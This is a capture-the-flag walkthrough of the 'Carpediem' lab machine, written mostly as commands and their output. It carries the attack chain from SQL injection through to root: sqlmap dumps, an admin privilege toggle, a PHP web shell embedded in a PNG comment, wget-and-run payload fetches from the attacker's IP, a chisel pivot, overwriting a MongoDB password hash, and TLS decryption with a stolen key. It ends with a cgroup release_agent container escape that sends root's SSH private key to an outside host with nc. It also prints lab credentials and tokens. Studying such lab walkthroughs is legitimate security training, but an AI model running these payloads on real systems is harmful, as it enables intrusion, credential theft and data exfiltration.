Scanning

  • TCP Scan
TARGET=10.10.11.167 && nmap -p$(nmap -p- --min-rate=1000 -T4 $TARGET -Pn | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -sC -sV -Pn -vvv $TARGET -oN nmap_tcp_all.nmap

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Comming Soon
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD
  • Domain: carpediem.htb

Web enum

  • Examine the web page doesn’t find anything
  • Perform domain and subdomain search
> dirsearch -u http://carpediem.htb/ -x 401,403

[17:38:16] 301 -  178B  - /img  ->  http://carpediem.htb/img/
[17:38:16] 200 -    3KB - /index.html
[17:38:34] 301 -  178B  - /scripts  ->  http://carpediem.htb/scripts/
[17:38:38] 301 -  178B  - /styles  ->  http://carpediem.htb/styles/

> wfuzz -c -f subdomains.txt -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://carpediem.htb/" -H "Host: FUZZ.carpediem.htb"
=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000048:   200        462 L    2174 W     31090 Ch    "portal"

http://portal.carpediem.htb/

&contact=%3Cscript%3Eprompt(3)%3C%2Fscript%3E
{"status":"failed","err":"Data too long for column 'contact' at row 1[]"}
> wfuzz -c -w /usr/share/wordlists/dirb/common.txt -u http://portal.carpediem.htb/?p=FUZZ --hl 341
=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000286:   200        462 L    2174 W     31090 Ch    "admin"
000000499:   200        338 L    891 W      18178 Ch    "assets"
000000707:   200        338 L    891 W      18176 Ch    "build"
000000885:   200        338 L    891 W      18180 Ch    "classes"
000000994:   200        156 L    432 W      10060 Ch    "config"
000001300:   200        338 L    891 W      18174 Ch    "dist"
000001908:   200        462 L    2174 W     31090 Ch    "home"
000002010:   200        338 L    891 W      18172 Ch    "inc"
000002278:   200        338 L    891 W      18174 Ch    "libs"
000002362:   200        336 L    878 W      18028 Ch    "logout"
000002347:   200        409 L    991 W      20790 Ch    "login"
000003003:   200        338 L    891 W      18180 Ch    "plugins"
000002017:   200        157209   262192 W   2261145 C   "index"
000003343:   200        441 L    1074 W     22391 Ch    "registration"
000004216:   200        338 L    891 W      18180 Ch    "uploads"

Warning: include(assets/index.php): failed to open stream: No such file or directory in /var/www/html/portal/index.php on line 14

Warning: include(): Failed opening 'assets/index.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/portal/index.php on line 14
{"status":"failed","err":"Incorrect date value: '' for column 'date_start' at row 1[INSERT INTO `rent_list` set  `bike_id`='21' , `date_start`='' , `date_end`='' , `rent_days`='0' , `amount`='0' , `client_id`='26'  ]"}

{"status":"failed","err":"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '2022-07-19'' , `rent_days`='0' , `amount`='0' , `client_id`='26'' at line 1[INSERT INTO `rent_list` set  `bike_id`='21' , `date_start`='2022-07-19'' , `date_end`='2022-07-19'' , `rent_days`='0' , `amount`='0' , `client_id`='26'  ]"}
  • date_start is vulnerable to sqli
  • save the burp req and use sqlmap
> sqlmap -r save_booking.req -p date_start
[18:05:50] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
7
[18:05:56] [INFO] retrieved: 
[18:06:01] [INFO] adjusting time delay to 1 second due to good response times
bike_list
[18:06:39] [INFO] retrieved: brand_list
[18:07:21] [INFO] retrieved: categories
[18:07:59] [INFO] retrieved: file_list
[18:08:41] [INFO] retrieved: rent_list
[18:09:24] [INFO] retrieved: system_info
[18:10:15] [INFO] retrieved: users
[18:10:36] [INFO] fetching columns for table 'bike_list' in database 'portal'
[18:10:36] [WARNING] the SQL query provided does not return any output
[18:10:36] [WARNING] unable to retrieve column names for table 'bike_list' in database 'portal'
  • for some reason, date_start cannot be used to dump columns
  • retry by specifying the columns to dump
> sqlmap -r save_booking.req -p date_start -D portal -T users -C username,password --dump --flush-session --dbms mysql
+----------+---------------------------------------------+
| username | password                                    |
+----------+---------------------------------------------+
| meow     | 05a671c66aefea124cc08b76ea6d30bb (testtest) |
| test     | 16d7a4fca7442dda3ad93c9a726597e4 (test1234) |
| admin    | b723e511b084ab84b44235d82da572f3            |
+----------+---------------------------------------------+
  • admin hash is not crackable

  • register an account, and update profile, found a parameter login_type, can change to 1 to get admin privilege. Then browse to http://portal.carpediem.htb/admin/ to access the admin panel

  • there is an avatar upload page: http://portal.carpediem.htb/admin/?page=user

  • craft a php file and intercept the request to change the extension to .jpg can successfully upload

  • there is an avatar field in the user’s profile, can sqli to find out the setting

[02:36:14] [INFO] retrieved: uploads/1658294700_meow.jpg
Database: portal
Table: users
[2 entries]
+-----------------------------------+
| avatar                            |
+-----------------------------------+
| uploads/1635793020_HONDA_XADV.png |
| uploads/1658294700_meow.jpg       |
+-----------------------------------+

foothold

  • the uploaded avatar can be used for RCE
  • get a png file and add a comment to it with php backdoor
> exiftool -Comment='<?php echo "<pre>"; system($_GET['c']); ?>' meow.png
> http://portal.carpediem.htb/uploads/1658300760_meow.php?c=python3+-V
> http://portal.carpediem.htb/uploads/1658300340_meow.php?c=wget+http://<ip>/e.py
> http://portal.carpediem.htb/uploads/1658300340_meow.php?c=python3+e.py
  • move the uploaded shells to a convenient place to make the access easier
> http://portal.carpediem.htb/meow.php?c=wget+http://<ip>/e.py
> http://portal.carpediem.htb/meow.php?c=python3+e.py
> python3 -c 'import pty; pty.spawn("/bin/bash")'
  • read file to get db password
> www-data@3c371615b7aa:/var/www/html/portal$ cat classes/DBConnection.php

private $host = 'mysql';
private $username = 'portaldb';
private $password = 'J5tnqsXpyzkK4XNt';
private $database = 'portal';
  • this might be a docker container

pe1

  • upload linpeas and enum
[+] Container & breakout enumeration
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout
[+] Container ID ................... 3c371615b7aa
[+] Container Full ID .............. 3c371615b7aa586387d21357dc8f13708fba6726f918183ea08fe8b09976daaf
[+] Vulnerable to CVE-2019-5021 .. No

> env
MYSQL_NAME=/portal/mysql
MYSQL_PORT=tcp://172.17.0.4:3306
MYSQL_ENV_MYSQL_ROOT_PASSWORD=3dQXeqjMHnq4kqDv

MYSQL_PORT_3306_TCP_PROTO=tcp
MYSQL_PORT_3306_TCP_ADDR=172.17.0.4
MYSQL_PORT_3306_TCP_PORT=3306
MYSQL_PORT_3306_TCP=tcp://172.17.0.4:3306

MYSQL_PORT_33060_TCP_PROTO=tcp
MYSQL_PORT_33060_TCP_ADDR=172.17.0.4
MYSQL_PORT_33060_TCP_PORT=33060
MYSQL_PORT_33060_TCP=tcp://172.17.0.4:33060
  • Check hosts file
> cat /etc/hosts
127.0.0.1       localhost
::1     localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.17.0.4      mysql a5004fe641ca
172.17.0.5      3c371615b7aa

Setup pivot

> chisel server -p 8888 --reverse
> ./chisel client <ip>:8888 R:1080:socks
# add socks 127.0.0.1 1080 to /etc/proxychains4.conf
  • setup chisel reverse proxy and connect to databasse, not connectable
> proxychains mysql --host=172.17.0.4 --port=3306 --user=portaldb --password=J5tnqsXpyzkK4XNt -D portal
> proxychains mysql --host=172.17.0.4 --port=3306 --user=root --password=3dQXeqjMHnq4kqDv

mongodb

  • connect to mongo db and enum
> proxychains mongo 172.17.0.3
> show dbs
admin    0.000GB
config   0.000GB
local    0.000GB
trudesk  0.001GB
> use truedesk
> db.accounts.find()
{ "_id" : ObjectId("623c8b20855cc5001a8ba13c"), "preferences" : { "tourCompleted" : false, "autoRefreshTicketGrid" : true, "openChatWindows" : [ ] }, "hasL2Auth" : false, "deleted" : false, "username" : "admin", "password" : "$2b$10$imwoLPu0Au8LjNr08GXGy.xk/Exyr9PhKYk1lC/sKAfMFd5i3HrmS", "fullname" : "Robert Frost", "email" : "rfrost@carpediem.htb", "role" : ObjectId("623c8b20855cc5001a8ba138"), "title" : "Sr. Network Engineer", "accessToken" : "22e56ec0b94db029b07365d520213ef6f5d3d2d9", "__v" : 0, "lastOnline" : ISODate("2022-04-07T20:30:32.198Z") }
{ "_id" : ObjectId("6243c0be1e0d4d001b0740d4"), "preferences" : { "tourCompleted" : false, "autoRefreshTicketGrid" : true, "openChatWindows" : [ ] }, "hasL2Auth" : false, "deleted" : false, "username" : "jhammond", "email" : "jhammond@carpediem.htb", "password" : "$2b$10$n4yEOTLGA0SuQ.o0CbFbsex3pu2wYr924cKDaZgLKFH81Wbq7d9Pq", "fullname" : "Jeremy Hammond", "title" : "Sr. Systems Engineer", "role" : ObjectId("623c8b20855cc5001a8ba139"), "accessToken" : "a0833d9a06187dfd00d553bd235dfe83e957fd98", "__v" : 0, "lastOnline" : ISODate("2022-04-01T23:36:55.940Z") }
{ "_id" : ObjectId("6243c28f1e0d4d001b0740d6"), "preferences" : { "tourCompleted" : false, "autoRefreshTicketGrid" : true, "openChatWindows" : [ ] }, "hasL2Auth" : false, "deleted" : false, "username" : "jpardella", "email" : "jpardella@carpediem.htb", "password" : "$2b$10$nNoQGPes116eTUUl/3C8keEwZAeCfHCmX1t.yA1X3944WB2F.z2GK", "fullname" : "Joey Pardella", "title" : "Desktop Support", "role" : ObjectId("623c8b20855cc5001a8ba139"), "accessToken" : "7c0335559073138d82b64ed7b6c3efae427ece85", "__v" : 0, "lastOnline" : ISODate("2022-04-07T20:33:20.918Z") }
{ "_id" : ObjectId("6243c3471e0d4d001b0740d7"), "preferences" : { "tourCompleted" : false, "autoRefreshTicketGrid" : true, "openChatWindows" : [ ] }, "hasL2Auth" : false, "deleted" : false, "username" : "acooke", "email" : "acooke@carpediem.htb", "password" : "$2b$10$qZ64GjhVYetulM.dqt73zOV8IjlKYKtM/NjKPS1PB0rUcBMkKq0s.", "fullname" : "Adeanna Cooke", "title" : "Director - Human Resources", "role" : ObjectId("623c8b20855cc5001a8ba139"), "accessToken" : "9c7ace307a78322f1c09d62aae3815528c3b7547", "__v" : 0, "lastOnline" : ISODate("2022-03-30T14:21:15.212Z") }
{ "_id" : ObjectId("6243c69d1acd1559cdb4019b"), "preferences" : { "tourCompleted" : false, "autoRefreshTicketGrid" : true, "openChatWindows" : [ ] }, "hasL2Auth" : false, "deleted" : false, "username" : "svc-portal-tickets", "email" : "tickets@carpediem.htb", "password" : "$2b$10$CSRmXjH/psp9DdPmVjEYLOUEkgD7x8ax1S1yks4CTrbV6bfgBFXqW", "fullname" : "Portal Tickets", "title" : "", "role" : ObjectId("623c8b20855cc5001a8ba13a"), "accessToken" : "f8691bd2d8d613ec89337b5cd5a98554f8fffcc4", "__v" : 0, "lastOnline" : ISODate("2022-03-30T13:50:02.824Z") }

> db.system.users.find()
{ "_id" : "trudesk.trudesk", "userId" : UUID("91edf315-70ed-424b-8af5-df2be2559a88"), "user" : "trudesk", "db" : "trudesk", "credentials" : { "SCRAM-SHA-1" : { "iterationCount" : 10000, "salt" : "Ko2s2ZtnyVXoPkj8V9swbQ==", "storedKey" : "RMcvISwRJ/G3Phy536k7qXNxrwY=", "serverKey" : "DVRoL2j5ZNdejyf6TxM7XiD+vzw=" }, "SCRAM-SHA-256" : { "iterationCount" : 15000, "salt" : "R8aRmvuyjDHYUIpv28g/p5k3KVexBC4URSbE/g==", "storedKey" : "II/yV9Z2qyjX7TDXYI+Zqh3903ZeTtmiT082SH7k0CY=", "serverKey" : "8J62Bb5ugt2OJalKj1NMq6FFsyFLhRpxXMRSmR9EeDM=" } }, "roles" : [ { "role" : "userAdmin", "db" : "trudesk" } ] }
  • found hashes. Encryption uses blowfish, it’s anti-cracking
  • generate a new password to overwrite
> python -c "import bcrypt; print(bcrypt.hashpw('password'.encode(), bcrypt.gensalt(rounds=10)))"
b'$2b$10$JUb0RCD6qKWm/Cwcq2i2cuVg.LY5AFCOESd6hAuv2YuKY3Tw9nAyO'
> db.getCollection("accounts").update({_id: ObjectId("623c8b20855cc5001a8ba13c")},{$set :{"password":"$2b$10$JUb0RCD6qKWm/Cwcq2i2cuVg.LY5AFCOESd6hAuv2YuKY3Tw9nAyO"}});
  • login into trudesk.carpediem.htb
learn about a new employee whose credential can be found via VoIP
Last 4 of employee ID is 9650.

Thank you! He's all set up and ready to go. When he gets to the office on his first day just have him log into his phone first. I'll leave him a voicemail with his initial credentials for server access. His phone pin code will be 2022 and to get into voicemail he can dial *62

9650:2022 and carpediem.htb as the domain to login via zoiper
  • new employee username Horace Flaccus: hflaccus
  • connect to sip and dial *62, enter pin 2022, listen to the voice mail
  • login as hflaccus to get the user flag
> ssh hflaccus@10.10.11.167
`AuRj4pxq9qPk`

pivoting scan

  • run scan via the pivot
> proxychains nmap -p21,22,80,443,3306,33060,8118,27017 10 172.17.0.1-10 -Pn -v -sT

Nmap scan report for 172.17.0.1
Host is up (0.47s latency).

PORT      STATE  SERVICE
22/tcp    open   ssh
80/tcp    open   http

Nmap scan report for 172.17.0.2
Host is up (0.40s latency).

PORT      STATE  SERVICE
21/tcp    open   ftp
80/tcp    open   http
443/tcp   open   https

Nmap scan report for 172.17.0.3
Host is up (0.47s latency).

PORT      STATE  SERVICE
27017/tcp open   mongod

Nmap scan report for 172.17.0.4
Host is up (0.47s latency).

PORT      STATE  SERVICE
3306/tcp  open   mysql
33060/tcp open   mysqlx

Nmap scan report for 172.17.0.5
Host is up (0.46s latency).

PORT      STATE  SERVICE
8118/tcp  open   privoxy

Nmap scan report for 172.17.0.6
Host is up (0.47s latency).

PORT      STATE  SERVICE
80/tcp    open   http

pe

  • upload linpeas and do enum
[+] Searching ssl/ssh files
PermitRootLogin yes
PubkeyAuthentication yes
ChallengeResponseAuthentication no
UsePAM yes
PasswordAuthentication yes
Possible private SSH keys were found!
/etc/ssl/certs/backdrop.carpediem.htb.key
 --> /etc/hosts.allow file found, read the rules:
/etc/hosts.allow
  • Copy /etc/ssl/certs/backdrop.carpediem.htb.key to local
  • Capture traffic on docker0 interface
> tcpdump -i docker0 -w  docker0.pcap
  • Run wireshark and import the backdrop.carpediem.htb.key into the RSA key list of TLS protocol
  • follow a TLS1.2 stream and find the credential: jpardella:tGPN6AmJDZwYWdhY
POST /?q=user/login HTTP/1.1
Host: backdrop.carpediem.htb:8002
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Origin: https://backdrop.carpediem.htb:8002
Content-Type: application/x-www-form-urlencoded
Referer: https://backdrop.carpediem.htb:8002/?q=user/login
Accept-Language: en-US,en;q=0.9
Content-Length: 128

name=jpardella&pass=tGPN6AmJDZwYWdhY&form_build_id=form-rXfWvmvOz0ihcfyBBwhTF3TzC8jkPBx4LvUBrdAIsU8&form_id=user_login&op=Log+inHTTP/1.1 302 Found
Date: Thu, 21 Jul 2022 23:13:01 GMT
Server: Apache/2.4.48 (Ubuntu)
Expires: Fri, 16 Jan 2015 07:50:00 GMT
Last-Modified: Thu, 21 Jul 2022 23:13:01 +0000
Cache-Control: no-cache, must-revalidate
X-Content-Type-Options: nosniff
ETag: "1658445181"
Set-Cookie: SSESS0651e6855a1f90fa8155e44165bd9f99=TTtY1mdMcNFUi7UHtkNxqyDQiLeC_TcV6_rA6SHXZsA; expires=Sun, 14-Aug-2022 02:46:21 GMT; Max-Age=2000000; path=/; domain=.backdrop.carpediem.htb; secure; HttpOnly
Location: https://backdrop.carpediem.htb:8002/?q=admin/dashboard
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8
  • find out which internal port is running backdrop
> curl -k https://127.0.0.1:8002
  • map remote port to local
> ssh -L 8002:127.0.0.1:8002 hflaccus@10.10.11.167
2022/07/24 19:23:46 CMD: UID=0    PID=4360   | cp /root/index.php /var/www/html/backdrop/index.php 
2022/07/24 19:24:01 CMD: UID=0    PID=4362   | /usr/sbin/CRON -P 
2022/07/24 19:24:01 CMD: UID=0    PID=4361   | /usr/sbin/CRON -P 
2022/07/24 19:24:01 CMD: UID=0    PID=4363   | /usr/sbin/CRON -P 
2022/07/24 19:24:01 CMD: UID=0    PID=4364   | /usr/sbin/CRON -P 
2022/07/24 19:24:01 CMD: UID=0    PID=4365   | /bin/sh -c sleep 45; /bin/bash /opt/heartbeat.sh 
2022/07/24 19:24:01 CMD: UID=0    PID=4366   | /bin/sh -c sleep 15; /bin/bash /opt/heartbeat.sh 
2022/07/24 19:24:16 CMD: UID=0    PID=4367   | /bin/bash /opt/heartbeat.sh 
2022/07/24 19:24:16 CMD: UID=0    PID=4368   | /usr/bin/md5sum /var/www/html/backdrop/core/scripts/backdrop.sh 
2022/07/24 19:24:16 CMD: UID=0    PID=4369   | /bin/bash /opt/heartbeat.sh 
2022/07/24 19:24:16 CMD: UID=0    PID=4370   | grep Welcome to backdrop.carpediem.htb! <!DOCTYPE html>
  • /opt/heartbeat.sh
#!/bin/bash
#Run a site availability check every 10 seconds via cron
checksum=($(/usr/bin/md5sum /var/www/html/backdrop/core/scripts/backdrop.sh))
if [[ $checksum != "70a121c0202a33567101e2330c069b34" ]]; then
        exit
fi
status=$(php /var/www/html/backdrop/core/scripts/backdrop.sh --root /var/www/html/backdrop https://localhost)
grep "Welcome to backdrop.carpediem.htb!" "$status"
if [[ "$?" != 0 ]]; then
        #something went wrong.  restoring from backup.
        cp /root/index.php /var/www/html/backdrop/index.php
fi
  • we can exploit this by create a index.php with our reverse shell in /var/www/html/backdrop folder, which we can write to. After a while, we can receive the reverse shell connection
  • /var/www/html/backdrop/core/scripts/backdrop.sh
#!/usr/bin/env php
<?php

/**
 * Backdrop shell execution script
 *
 * Check for your PHP interpreter - on Windows you'll probably have to
 * replace line 1 with
 *   #!c:/program files/php/php.exe
 *
 * @param path  Backdrop's absolute root directory in local file system (optional).
 * @param URI   A URI to execute, including HTTP protocol prefix.
 */
$script = basename(array_shift($_SERVER['argv']));

if (in_array('--help', $_SERVER['argv']) || empty($_SERVER['argv'])) {
  echo <<<EOF

Execute a Backdrop page from the shell.

Usage:        {$script} [OPTIONS] "<URI>"
Example:      {$script} "http://mysite.org/node"

All arguments are long options.

  --help      This page.

  --root      Set the working directory for the script to the specified path.
              To execute Backdrop this has to be the root directory of your
              Backdrop installation, f.e. /home/www/foo/backdrop (assuming
              Backdrop is running on Unix). Current directory is not required.
              Use surrounding quotation marks on Windows.

  --verbose   This option displays the options as they are set, but will
              produce errors from setting the session.

  URI         The URI to execute, i.e. http://default/foo/bar for executing
              the path '/foo/bar' in your site 'default'. URI has to be
              enclosed by quotation marks if there are ampersands in it
              (f.e. index.php?q=node&foo=bar). Prefix 'http://' is required,
              and the domain must exist in Backdrop's sites-directory.

              If the given path and file exists it will be executed directly,
              i.e. if URI is set to http://default/bar/foo.php
              and bar/foo.php exists, this script will be executed without
              bootstrapping Backdrop. To execute Backdrop's cron.php, specify
              http://default/core/cron.php as the URI.


To run this script without --root argument invoke it from the root directory
of your Backdrop installation with

  ./scripts/{$script}
\n
> unshare -UrmC bash
> umount /tmp/cgrp && rm -r /tmp/cgrp && mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x && echo 1 > /tmp/cgrp/x/notify_on_release && host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` && echo "$host_path/cmd" > /tmp/cgrp/release_agent && echo '#!/bin/sh' > /cmd && echo "nc <ip> 6666 < /root/.ssh/id_rsa" >> /cmd && chmod a+x /cmd && sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"